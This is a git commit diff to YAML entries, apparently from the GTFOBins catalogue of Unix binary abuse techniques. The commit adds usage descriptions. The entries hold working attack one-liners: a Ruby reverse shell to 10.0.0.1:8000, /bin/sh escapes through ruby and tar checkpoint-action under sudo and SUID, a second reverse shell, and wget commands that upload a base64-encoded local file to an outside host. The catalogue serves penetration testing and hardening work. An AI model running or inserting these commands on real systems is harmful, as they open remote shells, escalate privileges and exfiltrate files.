Add missing descriptions

This commit is contained in:
Emilio Pinna 2018-05-22 21:22:20 +01:00
parent 8f992a27f1
commit 158291baa4
4 changed files with 14 additions and 13 deletions

View File

@ -4,16 +4,17 @@ functions:
- code: ruby -e 'exec "/bin/sh"' - code: ruby -e 'exec "/bin/sh"'
sudo-enabled: sudo-enabled:
- code: sudo ruby -e 'exec "/bin/sh"' - code: sudo ruby -e 'exec "/bin/sh"'
reverse-shell:
- code: |
export RHOST=10.0.0.1
export RPORT=8000
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
load-library:
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
upload: upload:
- description: Serve files in the local folder running an HTTP server. - description: Serve files in the local folder running an HTTP server.
code: | code: |
export LPORT=8888 export LPORT=8888
ruby -run -e httpd . -p $LPORT ruby -run -e httpd . -p $LPORT
reverse-shell:
- description: Run `nc -l -p 8000` to receive the shell on the other end.
code: |
export RHOST=10.0.0.1
export RPORT=8000
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
load-library:
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
--- ---

View File

@ -5,6 +5,5 @@ functions:
sudo-enabled: sudo-enabled:
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
suid-limited: suid-limited:
- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -p"
-p"
--- ---

View File

@ -9,8 +9,9 @@ functions:
!/bin/sh !/bin/sh
description: MacOS only. description: MacOS only.
reverse-shell: reverse-shell:
- code: | - description: Run `nc -l -p 8000` to receive the shell on the other end.
RHOST=127.0.0.1 code: |
RHOST=10.0.0.1
RPORT=8000 RPORT=8000
TF=$(mktemp) TF=$(mktemp)
rm $TF rm $TF

View File

@ -1,14 +1,14 @@
--- ---
functions: functions:
upload: upload:
- description: Send base64-encoded local file via "d" parameter of a HTTP POST request. - description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
code: | code: |
export URL=http://10.0.0.1/ export URL=http://10.0.0.1/
export LFILE=file_to_send export LFILE=file_to_send
wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL
download: download:
- description: Fetch a remote file via HTTP GET request. - description: Fetch a remote file via HTTP GET request.
code: |- code: |
export URL=http://10.0.0.1/file_to_get export URL=http://10.0.0.1/file_to_get
export LFILE=file_to_get export LFILE=file_to_get
wget $URL -O $LFILE wget $URL -O $LFILE